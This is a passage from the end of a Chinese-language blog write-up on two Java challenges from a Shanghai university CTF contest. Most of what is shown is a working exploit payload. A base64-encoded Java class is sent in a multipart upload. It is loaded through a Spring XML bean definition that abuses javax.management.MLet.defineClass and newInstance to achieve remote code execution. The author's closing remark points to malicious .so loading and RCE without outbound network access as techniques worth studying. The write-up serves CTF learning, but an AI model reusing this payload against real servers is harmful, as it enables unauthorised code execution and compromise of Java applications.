AHcAEwCUAKAAowATAKUAtAC3ABMA2gDmAOkAEwGjAi0CMwAIAAACQQJEABUAAQE6AAAAoQAQ/gApBwAjBwAtAf8ATQAGBwACBwAjBwAtAQcARgcABAABBwATDV0HABP/ABMABwcAAgcAIwcALQEHAEYHAAQHABMAAQcAE/oAE10HABMQ/QBNBwBnAfwA5wcANP8AAgAIBwACBwAjBwAtAQcARgcABAcAZwEAAQcACAH/AAUABAcAAgcAIwcALQEAAAX/AAIAAQcAAgABBwAV/AAABwAEAAoAmACLAAEBOAAAAOMABAAHAAAAkwQ8Epq4AJ9NLMYAESy2AKISpLYAOJkABQM8G5kAGAa9ADRZAxKmU1kEEqhTWQUqU6cAFQa9ADRZAxKqU1kEEqxTWQUqU064ALIttgC1tgC7OgS7AL1ZGQS3AMASwrYAxjoFEsg6BhkFtgDMmQAfuwDOWbcAzxkGtgDTGQW2ANa2ANO2ANk6Bqf/3xkGsEwrtgDcsAABAAAAjACNAAgAAQE6AAAANgAG/QAaAQcANBhRBwDe/wAgAAcHADQBBwA0BwDeBwDgBwC9BwA0AAAj/wACAAEHADQAAQcACAAKAIoAiwACATgAAAC4AAYABgAAAI8S4kwBTSortgDmmQCAKiu2AOm2AO24APC4APQ+AzYEAzYFFQUdogAbFQQqK7YA6QRgFQVgtgDtYDYEhAUBp//luwA0WSortgDpBGAdYBUEYCoS9rYA+bYA/bgBAbgBBbcBCE27AM5ZtwDPEwEKtgDTLLgBDLYBELgBBbgBFLYA0xMBFrYA07YA2bAquAEMsAAAAAEBOgAAABcAA/8AIgAGBwA0BwA0BQEBAQAAHfgASQE5AAAABAABAAgACgD+AP8AAgE4AAAAjwAGAAQAAABvEwEYuAEbTCsTAR0EvQAbWQMSNFO2AIErtgEhBL0ABFkDKlO2ACvAASPAASOwTBMBJbgBG00sEwEnA70AG7YAgQEDvQAEtgArTi22AD4TASkEvQAbWQMSNFO2AIEtBL0ABFkDKlO2ACvAASPAASOwAAEAAAAsAC0ACAABAToAAAAGAAFtBwAIATkAAAAEAAEACAAJAREBEgACATgAAACvAAYABQAAAHoBTBMBJbgBG00sEwErAcAAHbYAgSwBwAEttgArTi22AD4TAS8EvQAbWQMTASNTtgCBLQS9AARZAypTtgArwAA0TKcAN04TATG4ARtNLLYBIToEGQS2AD4TATMEvQAbWQMTASNTtgCBGQQEvQAEWQMqU7YAK8AANEwrsAABAAIAQQBEAAgAAQE6AAAAGwAC/wBEAAIHASMHADQAAQcACP0AMwcAGwcABAE5AAAABAABAAgACQECAQMAAQE4AAAASQAGAAQAAAAqEwE1tgEQTCq+vAhNAz4dKr6iABcsHSodMysdK75wM4KRVIQDAaf/6SywAAAAAQE6AAAADQAC/gAOBwEjBwEjARkACAE2AAYAAQE4AAAALgACAAEAAAANuwACWbcBN1enAARLsQABAAAACAALAAgAAQE6AAAABwACSwcACAAAAA==</value>

</list>

</property>

</bean>

<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="5128"/>
</bean>

<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
------WebKitFormBoundaryINBwinb4uWPnBREL--

image-20250822011335430

后记

这个上传并load恶意so和无外网RCE还真值得多学习学习。


从上海市大学生网络安全大赛初赛两道java题学点小trick
https://eddiemurphy89.github.io/2025/08/12/从上海市大学生网络安全大赛初赛两道java题学点小trick/
作者
EddieMurphy
发布于
2025年8月12日
许可协议